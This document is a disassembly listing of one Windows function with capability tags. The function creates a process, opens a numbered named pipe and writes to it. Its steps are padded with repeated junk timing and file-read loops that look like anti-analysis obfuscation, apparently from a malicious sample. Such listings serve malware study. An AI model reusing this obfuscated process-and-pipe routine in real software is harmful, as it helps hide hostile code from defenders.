Function at 0x131513fd
Capabilities:
Connect pipe
Create pipe
Create process on windows
Get file attributes
Read file on windows
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x520
mov eax, dword [0x13183360]
xor eax, esp
mov dword [esp + 0x51c], eax
mov eax, dword [esp + 0x524]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x534]
push edi
mov dword [esp + 0x18], eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
xor ebx, ebx
cmp eax, ebx
mov dword [0x131843e0], eax
mov ebp, str.djbh33
je 0x1315148c
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315148c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315148c
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131514c0
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131514a0
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151519
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151519
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151519
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315154d
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315152d
push 0x5c
pop eax
push 0x70
pop ecx
push 0x24
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x40], eax
pop eax
mov dword [esp + 0x24], 0x2e
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 0x69
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], 0x65
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], 0x25
mov dword [esp + 0x48], 0x64
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], ebx
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131515fb
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131515fb
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131515fb
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315162f
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315160f
push pe_nt_image_headers32
lea eax, [esp + 0x70]
push ebx
push eax
call fcn.13155e00
add esp, 0xc
mov dword [esp + 0x68], 0x44
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131516a0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131516a0
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131516a0
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131516d4
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131516b4
mov dword [esp + 0x94], 1
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151738
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151738
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151738
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor edi, edi
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151768
call esi
add eax, edi
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc edi
cmp edi, 0xd
jl 0x1315174a
xor eax, eax
mov dword [esp + 0x58], ebx
lea edi, [esp + 0x5c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x6c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [esp + 0x34]
mov word [esp + 0xbc], bx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131517f0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131517f0
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131517f0
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor edi, edi
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151820
call esi
add eax, edi
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc edi
cmp edi, 0xd
jl 0x13151802
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151878
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151878
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151878
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor edi, edi
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131518a8
call esi
add eax, edi
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc edi
cmp edi, 0xd
jl 0x1315188a
xor eax, eax
lea edi, [esp + eax*4 + 0x1c]
cmp dword [edi], ebx
je 0x131518d0
mov cl, byte [edi]
mov byte [esp + eax + 0x12c], cl
mov byte [esp + eax + 0x12d], bl
inc eax
cmp eax, 0xfffff
jl 0x131518b0
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151925
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151925
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
mov edi, 0x131843dc
je 0x1315192a
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1315192a
mov edi, 0x131843dc
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315195e
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315193e
push 0xf00d
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0x334]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131519d5
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131519d5
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131519d5
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151a09
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131519e9
push ebx
push 0x7530
mov eax, 0x1000
push eax
push eax
push 0xff
push 6
push 3
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateNamedPipeA]
push ebx
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_ConnectNamedPipe]
test eax, eax
je 0x13151cbb
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151a9a
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151a9a
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151a9a
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151ace
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151aae
push 0x80
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.13155e00
add esp, 0xc
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151b3d
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151b3d
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151b3d
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151b71
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151b51
push dword [esp + 0x18]
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151bdc
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151bdc
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151bdc
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151c10
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151bf0
push ebx
lea eax, [esp + 0x58]
push eax
push pe_nt_image_headers32
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13151c83
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151c83
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13151c83
push ebx
push edi
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151cb1
call esi
add eax, ebx
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebx
cmp ebx, 0xd
jl 0x13151c93
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x52c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.13155e7a
add esp, 0x520
ret